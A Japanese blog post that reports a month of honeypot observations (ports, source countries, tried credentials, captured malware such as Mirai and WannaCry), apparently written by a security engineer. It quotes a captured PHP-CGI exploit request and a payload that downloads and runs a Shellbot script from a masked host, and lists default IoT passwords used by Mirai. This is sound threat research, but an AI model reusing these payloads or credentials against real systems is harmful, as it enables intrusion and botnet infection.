Misc notes

~セキュリティに関する雑記~

ハニーポット観察記録 2017年12月

f:id:fatsheep:20171227121757j:plain

 

あけましておめでとうございます! 今年もよろしくお願い致します。m(_ _)m

久々の記事になります。

以前、攻撃観測したいなぁってことで、T-Potというハニーポットのシステムを構築しました。

 上記ツイートから最近まで、ネットワークやサーバ環境をいじったり、T-Pot自体をバージョン17ベースにアップデートしたりと、なかなか時間がとれずまとまった情報が取れなかったのですが、一応12月は1ヶ月間稼動させることができたので、得られた情報をまとめ、公開したいと思います。

T-Potとは

まずはじめにT-Potについてです。

T-Potとはざっくりいうと、さまざまなプロトコルに対応したハニーポットシステムです。

ネットワークサービスとしてよく利用されるHTTP、HTTPSSMTPSSHTELNET、RDPなど、さまざまなサービスに対応しており、また対応していないサービスでもTCPのリクエストを記録できたりします。

T-PotはDockerのホストとして機能しており、その上でコンテナとしてさまざまなハニーポットシステムを動作させています。

また収集したログはElasticsearch、Kibana(これらもDockerコンテナで動作)で管理、可視化でき、素のログだけではわからない攻撃の特徴を見ることができます。

T-Potをインストールするサーバのスペックにより、T-Potの機能レベルを選択できるのですが、今回構築したT-Potは、すべての機能をインストールするモード(Everything)で動作させました。

詳細については本記事では割愛しますので、以下のページなどを参照ください。

※以下、間違い・認識違いなどありましたら、ご指摘いただけると幸いです。

github.com

 

全体のアクセス状況

早速ですが、2017年12月にハニーポットで観測した攻撃情報を、公開したいと思います。(厳密には12月3日以降の観測記録になります。)

まずは、ハニーポット全体として、アクセス元の国やアクセス先のポートについて記載したいと思います。

アクセス元(国)

f:id:fatsheep:20180101010804j:plain

 アクセス元の国としてダントツで多かったのはロシアからでした(都市として一番多かったのはサンクトペテルブルグでした)。

アクセス元(日本国内) 

f:id:fatsheep:20180101010833j:plain

日本国内からのアクセスも結構ありました。関東以南、西日本からのアクセスが多い傾向です。

アクセスポート(サービス)

f:id:fatsheep:20180101012552j:plain

アクセスポートとしては22(SSHハニーポットでは2222で表示)、1900(UPnP)、5900(VNC)などが多くありました。やはりリモートシェル、リモートデスクトップ関連のアクセスが多い傾向です。

22ポートへのアクセスは毎日同じくらいのアクセスがありますが、1900ポートと5900ポートへのアクセスは対照的で、5日に1回くらいのペースで多くアクセスがあり波があります。また1900ポートと5900ポートへのアクセスについては、アクセスが多くなる日が近いことから、何らかの攻撃キャンペーンか、または攻撃者が同じかなど、何らかの関連があるのではと感じます。

12月中旬に5038ポートへのアクセスが目だってありました(図で10日間程度、同じ数のアクセスがあったところ)。調べたところ、PBXソフトウェア「Asterisk」が使う管理画面へのアクセスのようでした*1

その他詳細情報

以下に、主要なプロトコルの観測状況について、特に気になった観点を記載していきたいと思います。

 

SSHTELNET(Cowrie)

Linux標準で使われ、さらにはネットワーク機器や最近ではIoT機器にも使われている、おそらく一番攻撃されるであろうプロトコルである、リモートシェルについてです。

Cowrieはリモートシェルのハニーポットシステムです。リモートシェルにログインしてきた攻撃者が実行したコマンドを記録し、またダウンロードしたファイルを自動で退避・保全します。

使用されたユーザ名・パスワード

f:id:fatsheep:20180101020012j:plain

SSHTELNETのアクセスに使用されたユーザ名(左)とパスワード(右)のタグクラウドになります。以下、気になったユーザ名、パスワードについて調べてみました。

  • PlcmSpIp・・Polycom製のVoIPなどの機器のデフォルト管理者ユーザ名になっているようです。
  • telecomadmin・・Huawei製(その他、中国系の企業)のネットワーク機器のデフォルトの管理者ユーザ名になっているようです。
  • CenturyL1nk・・ZyXEL製のモデムのデフォルト管理者パスワードのようです。これは昨年11月に観測された、ボットネットであるMiraiが攻撃に使うようです*2
  • xc3511・・Xiongmai製の防犯カメラ(DVR)やIPカメラのデフォルト管理者パスワードのようです。これについてもMiraiが攻撃に使うようです*3
  • hunt5759、Win1doW$、7ujMko0admin、vertex25ektks123、xmhdipc、aquario・・対象機器まで調べ切れていないのですが、これらのパスワードもMiraiが攻撃に使うようです。
ダウンロードされたファイルの種類

Cowrieが退避・保全したものになります。種別はVirus Total上で各ベンダが判定したものを参考にしました(そのため、誤っているところもあるかもしれません)。

種別 種類 合計
Coin Miner 1 2
Downloader 8 12
Lightaidra DDoS 1 1
Mirai 29 32
Trojan Agent 13 21
XORDDoS 7 25
Safe判定/Virus Total上に登録無し 17 238

DDoS攻撃関連のものが多い傾向です。MiraiやXORDDoSなど、DDoS攻撃に使われるバイナリが多くダウンロードされていました。またDownloaderについても、中身はシェルスクリプトなどになっており、ダウンロードしてくるものはMiraiなどのようでした。

昨年あたりから話題のコインマイナーもダウンロードされていました。コマンド実行履歴を探せばコインアドレスがわかるかな、と思ったのですが、残念ながらバイナリ単体実行時にエラーとなっており、そこでセッション終了となっていました(この辺りは高対話型ハニーポットなどにすれば対応可能かもしれません)。送られてくるバイナリのほとんどがDDoS関連の中、1種類だけコインマイナーのバイナリがあったので、後ほど解析してみたいと思います。

 

HTTP(Glastopf)

GlastopfはWEB系のハニーポットです。WEBアプリケーションに対する攻撃を記録することができます。

ハニーポットにアクセスすると以下のような簡素なページが表示されます。

f:id:fatsheep:20171227000625j:plain

 アクセス数は全部で814アクセス、そのうちSQL関連のもの(mysqlSQLiteなど)は292アクセス、ApacheやNginxなどWebサーバのステータスを確認するものが141アクセスありました。

リクエストの中で1件、気になるものがありました。以下のようなPOSTリクエストです。

POST //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75~(省略)

URLデコードすると以下のような内容になります。

POST //cgi-bin/php?-d allow_url_include=on -d safe_mode=off 

-d suhosin.simulation=on -d disable_functions="" -d open_basedir=

none -d  auto_prepend_file=php://input -d cgi.force_redirect=0 

-d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n

 また、リクエストヘッダ(ボディ部だったかもしれません・・)には以下の内容が入っていました。

<? system("cd /tmp ; wget http://[masked]/zmuie ;

curl -O http://[masked]/zmuie; fetch http://[masked]/zmuie ;

chmod +x zmuie ; ./zmuie ; perl zmuie ; rm -rf zmuie "); ?>

上記の内容より、このリクエストはCGIPHP脆弱性(CVE-2012-1823)を悪用したリクエストのようです*4。 また、実行しようとしている「zmuie」については、中身はPerlスクリプトになっており、PerlバックドアShellbotと呼ばれるマルウェアのようです。以下は、スクリプトの頭の部分です。

f:id:fatsheep:20180103022036j:plain

 

ファイル共有系(Dionaea)  

 Dionaea自体はさまざまなプロトコルに対応したハニーポットですが、T-Pot上では主にFTP、SMB、UPnPHTTPSSQLサーバ(MSSQLmysql、MongoDB)関連、SIPなどのプロトコルハニーポットとして動作しています。

本項では特に、ファイル共有系について詳しく記載します。

アクセス元の国、アクセス先のプロトコル・ポート

f:id:fatsheep:20180102105629j:plain

Dionaea自体が観測・記録した、アクセス元の国、プロトコルになります。アクセス元は中国が70%以上を占めており、次いでアメリカが多い傾向です。また、アクセスしたサービスは80%がUPnPです。

UPnPについては、外向きにもUPnPが話せるネットワーク機器(特にIPカメラ)を探索している行為のようで、そのような機器を見つけるとボットネット化しDDoS攻撃に利用されてしまうようです*5

使用されたユーザ名・パスワード

f:id:fatsheep:20180102112829j:plain

FTPやSMBなどのサービスにおいて、使用されたユーザ名(左)とパスワード(右)のタグクラウドになります。

パスワードに関しては、安易なパスワードランキングにランクインするものが多くありました。また「ftp」や「anonymous」などはFTPアクセスに使用されたものと推測できます。

ダウンロードされたファイルの種類

Dionaeaが退避・保全したものになります。上記に記載したCowrieと同様に、種別はVirus Total上で各ベンダが判定したものを参考にしました。

種別 種類 合計
MySQL UDF SYS library (PUA) 1 15
Trojan系 24 75
Trojan系(Exploit) 4 4
Trojan系(ダウンローダ 21 82
WannaCry 404 792
ダウンローダ 2 3
Virus Total上に登録無し 22 43 

送られてくるバイナリは表のとおり、WannaCryが多い傾向です。昨年の出始めたころから数ヶ月たっていますが、未だに攻撃が続いているようです。
ちなみにですが、送られてきたバイナリはすべてPEファイル(Windows用のプログラム)のようです。

 

その他のプロトコル(Honeytrap)

上記のプロトコルとは別に、Honeytrapで観測した気になる通信を記載したいと思います。

T-Potにやってくる通信のうち、CowrieやGlastopfなどのハニーポットに引っかからないポートへのアクセスはHoneytrapが受け付けます。HoneytrapはTCPコネクションを受け付け、リクエストを記録します。

Honeytrapが受け付け、記録したアクセスのポート別のランキングは以下のようになっていました(アクセス100以上のもの。括弧内はアクセス数。)。

  1. TCP/52869 (754)
  2. TCP/8545 (479)
  3. TCP/81 (403)
  4. TCP/9000 (309)
  5. TCP/503 (287)
  6. TCP/5038 (259)
  7. TCP/37215 (185)
  8. TCP/54321 (128)
  9. TCP/9999 (106)
  10. TCP/465 (103)
  11. TCP/102 (103)

上記のものから数個と、上記ランキングに入らなかったもので気になったものを以下に記載します。

TCP/52869とTCP/37215

一番アクセス数が多かったリクエストのTCP/52869と、それに関連するリクエストのTCP/37215についてです。

この2つへのアクセスはIoT機器をボットネット化するマルウェアのSatoriによるもののようです*6

TCP/52869のほうのリクエストは「picsdesc.xml」へPOSTを送信するようで、このポートに来ているほぼすべてが「picsdesc.xml」へのアクセスでした。以下はそのうちの1つです。

f:id:fatsheep:20180103191357j:plain

また、TCP/37215へのリクエストは「/ctrlt/DeviceUpgrade_1」へPOSTを送信するようで、以下のようなアクセスがほとんどでした。

f:id:fatsheep:20180103233539j:plain

TCP/7001 

12月から攻撃が目立ってきた、Oracle WebLogic Serverの脆弱性を悪用した攻撃のようです*7

以下のようなPOSTリクエストが数件きていました。

f:id:fatsheep:20180211083851j:plain

またダウンロードさせようとしているペイロードの中にはコインマイナーも含まれていました(その他のURLは、現時点ではほぼアクセス不可の状態になっていました)。コインマイナーについては実行時の引数などなかったので、もしかするとコインアドレスやそれにつながる情報が、バイナリにハードコーティングされているかもしれません。

 

最後に 

1ヶ月間連続して攻撃の定点観測を行ってみましたが、T-Potはさまざまなハニーポットが1つにまとまっており、結果も視覚的によく、ハウスキーピングなどの運用面も最初から設定されており、とても優れたツールと実感しました(ただその分必要スペックは高くなってしまいますが・・)。

また観測結果については、数年前に公開された脆弱性が未だによく悪用されている印象があります。セキュリティエンジニアとしては新しい情報を取り入れるのも重要ではありますが、脆弱性対策に関しては古い脆弱性情報でよく悪用されるものについても、積極的に取り入れていく必要があると感じました。

攻撃観測については今後も継続して行い、攻撃の傾向の変化や、際立つ攻撃について共有していきたいと思います。

※ブログのまとめも、一気に書いてみて、見返したら雑多でわかりづらくなったので、次回は(もしあれば)もう少しわかりやすく書きたいですね;

 

今後やりたいこととか

高対話型ハニーポット

今回はハニーポットシステムとしてT-Potを選択し構築・運用していますが、T-Potはハニーポットの種別としては低対話型に分類されます。低対話型の特徴は、構築がそれほど難しくはないですが、あまり高度な攻撃の観測はできないハニーポットです。

もう少し現実に近い環境で攻撃を観測したい(今回もCowrieでコマンド実行できなかったものがあった)ので、高対話型ハニーポットについて調べてみたいと思っています。

Splunkでログ管理

デフォルトでは最初から用意されているElasticsearch・Kibanaが使われますが、ログを別のサーバに立てているSplunkへ流せればいいなぁと思っているところです。

※ちなみにSplunkを使うのは、仕事でも使っていて慣れているためです。